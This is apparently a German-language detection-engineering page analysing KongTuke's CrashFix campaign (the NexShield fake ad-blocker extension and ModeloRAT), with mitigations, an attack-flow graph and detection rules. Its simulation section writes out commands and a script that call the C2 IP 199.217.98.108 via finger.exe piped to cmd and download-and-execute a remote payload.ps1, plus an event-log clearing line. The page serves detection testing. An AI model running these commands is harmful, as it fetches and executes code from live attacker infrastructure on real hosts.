Analyse von CrashFix: KongTukes neues Spielzeug
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
KongTuke verteilte eine bösartige Chrome-Erweiterung namens NexShield, die uBlock Origin Lite nachahmt. Nach der Installation zeigt sie eine “CrashFix”-Sicherheitswarnung an, um einen legitimen Browser-Sicherheitsvorfall zu simulieren, bringt den Browser zum Absturz und zwingt den Benutzer, einen bösartigen PowerShell-Befehl auszuführen, der in die Zwischenablage kopiert wurde. Die Kampagne setzt ein Python-RAT, ModellRAT, auf systemgebundenen Domänen und eine mehrstufige PowerShell-Kette auf eigenständigen Hosts ein.
Untersuchung
Analysten von Huntress überprüften den Code der Erweiterung, verknüpften Command-and-Control mit nexsnield.com und übertrugen die Payloads zurück. Sie beobachteten den Missbrauch von finger.exe als LOLBin, um Anweisungen des Angreifers abzurufen, sowie einen DGA, der .top-Domains generiert. Für Domänenumgebungen identifizierten die Forscher ein mit RC4 verschlüsseltes Python-Implantat, das über den HKCU Run-Schlüssel persistiert. Weitere Taktiken umfassten Anti-Analyse-Checks, AMSI-Umgehungen, und Taktiken der Ressourcenerschöpfung, um Benutzer unter Druck zu setzen, umgehend voll Compliance zu zeigen.
Abschwächung
Blockieren Sie die Chrome-Erweiterungs-ID und überwachen Sie unbekannte Erweiterungen, die beliebte Werbeblocker nachahmen. Erkennen Sie Beaconing zu nexsnield.com, den C2-IPs und DGA-erzeugten Domains. Wenden Sie Ausführungskontrollen an, um LOLBin-Nutzung (einschließlich finger.exe) zu beschränken, und alarmieren Sie bei verdächtigen Run-Schlüsselwerten, insbesondere bei Namen, die weit verbreiteter Software ähneln.
Reaktion
Alarmieren Sie bei NexShield-bezogenen Erweiterungsinstallationen und korrelieren Sie mit ausgehenden Verbindungen zur identifizierten C2- und DGA-Infrastruktur. Isolieren Sie betroffene Hosts und sammeln Sie Erweiterungsartefakte, Registry-Runschlüssel, geplante Aufgaben und abgelegte Dateien. Entfernen Sie die ModellRAT-Persistenz, beseitigen Sie PowerShell-Stufenkomponenten und sanieren Sie den Endpunkt und überprüfen Sie die Validität.
graph TB %% Class definitions classDef action fill:#FFEEAA classDef tool fill:#99CCFF classDef malware fill:#FF9999 classDef process fill:#CCFFCC classDef persistence fill:#D9D9D9 classDef operator fill:#FFCC66 content_injection[„<b>Aktion</b> – <b>T1659 Content-Injektion</b><br/>Eine bösartige Werbung leitet das Opfer auf eine gefälschte Chrome-Web-Store-Seite weiter, die eine schädliche Erweiterung anbietet“] class content_injection action software_extension[„<b>Aktion</b> – <b>T1176 Software-Erweiterungen</b><br/>Eine schädliche Erweiterung, die sich als uBlock Origin Lite ausgibt, wird im Browser installiert“] class software_extension action extension_nexshield[„<b>Werkzeug</b> – <b>Name</b>: NexShield (bösartige Chrome-Erweiterung)<br/><b>Beschreibung</b>: Stellt Persistenz bereit und führt weitere schädliche Logik aus“] class extension_nexshield tool user_execution[„<b>Aktion</b> – <b>T1204.004 Benutzerausführung</b><br/>Die Erweiterung kopiert einen PowerShell-Befehl in die Zwischenablage, den das Opfer über Win+R ausführt“] class user_execution action powershell_process[„<b>Prozess</b> – <b>T1059.001 PowerShell</b><br/>Führt einen PowerShell-Befehl aus, der zusätzliche Payloads herunterlädt“] class powershell_process process cmd_process[„<b>Prozess</b> – <b>T1059.003 Windows-Befehlsinterpreter</b><br/>PowerShell ruft cmd.exe auf, um weitere Stufen auszuführen“] class cmd_process process sandbox_evasion[„<b>Aktion</b> – <b>T1497.002 Virtualisierungs-/Sandbox-Evasion</b><br/>Die Payload führt umfangreiche Prüfungen auf VM-, Sandbox- und Analyse-Tools durch“] class sandbox_evasion action dos_exhaustion[„<b>Aktion</b> – <b>T1499.003 Denial of Service am Endpunkt</b><br/>Erzeugt Milliarden von Chrome-Runtime-Ports zur Erschöpfung von CPU und Speicher und verursacht einen Browser-Absturz“] class dos_exhaustion action event_trigger[„<b>Aktion</b> – <b>T1546 Ereignisgesteuerte Ausführung</b><br/>Verwendet die Chrome-Alarms-API, um schädliche Aktionen um 60 Minuten zu verzögern und alle 10 Minuten zu wiederholen“] class event_trigger action dead_drop[„<b>Aktion</b> – <b>T1102.001 Webservice-Dead-Drop-Resolver</b><br/>Kontaktiert dynamisch generierte DGA-Domains zum Abruf weiterer Stufen“] class dead_drop action dga_resolution[„<b>Aktion</b> – <b>T1568 Dynamische Auflösung</b><br/>Der Domain-Generierungsalgorithmus erzeugt wöchentlich rotierende Domains für C2“] class dga_resolution action bidirectional_comm[„<b>Aktion</b> – <b>T1102.002 Bidirektionale Webservice-Kommunikation</b><br/>ModeloRAT tauscht verschlüsselte Befehle und Antworten über HTTP aus“] class bidirectional_comm action oneway_comm[„<b>Aktion</b> – <b>T1102.003 Unidirektionale Webservice-Kommunikation</b><br/>Sendet Telemetrie- sowie Installations-/Update-Daten an einen vom Angreifer kontrollierten Server“] class oneway_comm action encrypted_rc4[„<b>Aktion</b> – <b>T1573.001 Verschlüsselter Kanal</b><br/>Der C2-Verkehr ist mit symmetrischer RC4-Kryptografie verschlüsselt“] class encrypted_rc4 action obfuscation[„<b>Aktion</b> – <b>T1027 Verschleierte Dateien oder Informationen</b><br/>Payloads sind mehrschichtig mit Base64, XOR und AES verschlüsselt“] class obfuscation action stripped_payload[„<b>Aktion</b> – <b>T1027.008 Entfernte Payloads</b><br/>Payloads werden entfernt und kodiert, um die Analyse zu erschweren“] class stripped_payload action embedded_payload[„<b>Aktion</b> – <b>T1027.009 Eingebettete Payloads</b><br/>Verschlüsselte Payloads werden direkt im Speicher geladen“] class embedded_payload action appcert_dll[„<b>Aktion</b> – <b>T1546.009 Ereignisgesteuerte Ausführung: AppCert DLLs</b><br/>Die DoS-Schleife nutzt Chrome-Runtime-Ports analog zur AppCert-DLL-Technik“] class appcert_dll action remote_access_tool[„<b>Schadsoftware</b> – <b>T1219 Remote-Access-Werkzeuge</b><br/>ModeloRAT stellt vollständige Remote-Access-Funktionen bereit“] class remote_access_tool malware persistence_run[„<b>Aktion</b> – <b>T1554 Kompromittierung von Host-Software-Binärdateien</b><br/>Der Registry-Eintrag HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run startet pythonw.exe zur Persistenz“] class persistence_run persistence exec_guardrail[„<b>Aktion</b> – <b>T1480.002 Ausführungsleitplanken</b><br/>Prüft frühere Ausführungen über UUID-Beacons, um doppelte Infektionen zu verhindern“] class exec_guardrail action content_injection –>|leads_to| software_extension software_extension –>|installs| extension_nexshield extension_nexshield –>|provides_persistence| persistence_run extension_nexshield –>|copies_command| user_execution user_execution –>|triggers| powershell_process powershell_process –>|launches| cmd_process powershell_process –>|performs| sandbox_evasion sandbox_evasion –>|allows| powershell_process powershell_process –>|creates| dos_exhaustion dos_exhaustion –>|uses| appcert_dll extension_nexshield –>|sets| event_trigger event_trigger –>|delays| powershell_process powershell_process –>|contacts| dead_drop dead_drop –>|uses| dga_resolution dga_resolution –>|provides| bidirectional_comm bidirectional_comm –>|encrypts_with| encrypted_rc4 bidirectional_comm –>|exchanges_with| remote_access_tool oneway_comm –>|sends_to| encrypted_rc4 powershell_process –>|obfuscates_using| obfuscation obfuscation –>|includes| stripped_payload obfuscation –>|includes| embedded_payload remote_access_tool –>|communicates_via| bidirectional_comm remote_access_tool –>|sends_telemetry| oneway_comm persistence_run –>|creates| exec_guardrail exec_guardrail –>|prevents| persistence_run
Angriffsfluss
Erkennungen
Rufe verdächtige .NET-Methoden von Powershell aus (über powershell) an
Anzeigen
Verdächtige CURL-Nutzung (über cmdline)
Anzeigen
Kurzer Dateiname (über cmdline)
Anzeigen
Mögliche manuelle oder skriptbasierte Operationen wurden in ungewöhnlichen Ordnern durchgeführt (über cmdline)
Anzeigen
Verdächtige PowerShell-Strings (über powershell)
Anzeigen
Rufe verdächtige Windows-API-Funktionen von Powershell aus (über powershell) an
Anzeigen
Mögliche Persistenzpunkte [ASEPs – Software/NTUSER Hive] (über registry_event)
Anzeigen
Ein Archiv wurde in verdächtiges Verzeichnis mit PowerShell extrahiert (über powershell)
Anzeigen
Python-Ausführung aus verdächtigen Ordnern (über cmdline)
Anzeigen
Mögliche Indikatoren für PowerShell-Verschleierung (über powershell)
Anzeigen
Mögliche Systemabfragen (über cmdline)
Anzeigen
Download oder Upload über PowerShell (über cmdline)
Anzeigen
IOCs (SourceIP) zum Erkennen: Dissecting CrashFix: KongTukes neues Werkzeug
Anzeigen
IOCs (HashSha256) zum Erkennen: Dissecting CrashFix: KongTukes neues Werkzeug
Anzeigen
IOCs (DestinationIP) zum Erkennen: Dissecting CrashFix: KongTukes neues Werkzeug
Anzeigen
IOCs (E-Mails) zum Erkennen: Dissecting CrashFix: KongTukes neues Werkzeug
Anzeigen
KongTuke CrashFix bösartigen Befehlsausführung erkennen [Windows Process Creation]
Anzeigen
Erkennung von AMSI-Umgehung und Beweismittelentfernung über PowerShell [Windows PowerShell]
Anzeigen
Simulation Execution
Voraussetzung: Das Telemetrie- und Basislinien-Vorflug-Check muss bestanden haben.
Rationale: Dieser Abschnitt beschreibt die genaue Ausführung der Angreifertechnik (TTP), die darauf abzielt, die Erkennungsregel auszulösen. Die Befehle und die Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die von der Erkennungslogik erwartete Telemetrie zu erzeugen.
-
Angriffs-Narrativ und Befehle:
Der Angreifer kopiert zunächst das legitimefinger.exeBinary in das temporäre Verzeichnis, benennt es inct.exeum, und verwendet dann eine verschachteltecmd /cKette, um das kopierte Binary mit einem manipulierten Argument auszuführen, das einen Remote-C2-Server kontaktiert (199.217.98.108). Das Binary streamt das Payload zurück in die Befehlszeile, die dann in eine zweite verstecktecmddie den empfangenen Code ausführt, weitergeleitet wird. Danach nutzt der Angreifer PowerShell, um ein sekundäres Payload überInvoke-WebRequestherunterzuladen und führt es sofort mitiexaus. Alle Schritte erfolgen mit minimaler Benutzeroberfläche (/min), um eine Benutzerdetektion zu vermeiden.1. Kopiere finger.exe → %TEMP%ct.exe 2. Führe aus: cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd" 3. PowerShell Download & Ausführung des sekundären Payloads: powershell -NoProfile -WindowStyle Hidden -Command "iex (Invoke-WebRequest -Uri 'http://199.217.98.108/payload.ps1' -UseBasicParsing).Content" -
Regressionstest-Skript: Das untenstehende Skript reproduziert die gesamte Angriffskette auf einer Windows-Testmaschine. Führen Sie es in einer erhöhten PowerShell-Sitzung aus.
#------------------------------------------------- # KongTuke CrashFix bösartigen Befehlsausführung #------------------------------------------------- # 1. Verteile den LOLBin (finger.exe) in %TEMP% als ct.exe $fingerPath = "$env:windirsystem32finger.exe" $tempExe = "$env:TEMPct.exe" Copy-Item -Path $fingerPath -Destination $tempExe -Force # 2. Führe die bösartige cmd-Kette aus (übereinstimmend mit Sigma-Regel) $maliciousCmd = 'cmd /c start "" /min cmd /c "copy %windir%system32finger.exe %temp%ct.exe&%temp%ct.exe confirm@199.217.98.108|cmd"' Start-Process -FilePath "cmd.exe" -ArgumentList "/c $maliciousCmd" -WindowStyle Hidden # 3. PowerShell Web-Download-Ausführung des sekundären Payloads $payloadUrl = 'http://199.217.98.108/payload.ps1' $psCommand = "iex (Invoke-WebRequest -Uri `'$payloadUrl`' -UseBasicParsing).Content" Start-Process -FilePath "powershell.exe" -ArgumentList "-NoProfile -WindowStyle Hidden -Command `$psCommand`" -WindowStyle Hidden #------------------------------------------------- -
Bereinigungskommandos: Entfernen Sie Artefakte und beenden Sie alle verbleibenden Prozesse, die durch den Test erstellt wurden.
# Lösche die kopierte ct.exe Remove-Item -Path "$env:TEMPct.exe" -ErrorAction SilentlyContinue # Beenden Sie alle umherstreifenden cmd.exe- oder powershell.exe-Prozesse, die vom Test gestartet wurden (nach bestimmten Befehlszeilen filtern) Get-WmiObject Win32_Process | Where-Object { $_.CommandLine -match 'finger.exe|199.217.98.108' } | ForEach-Object { $_.Terminate() } # Optional: Event-Log löschen, falls für Wiederholbarkeit erforderlich # wevlutil cl Security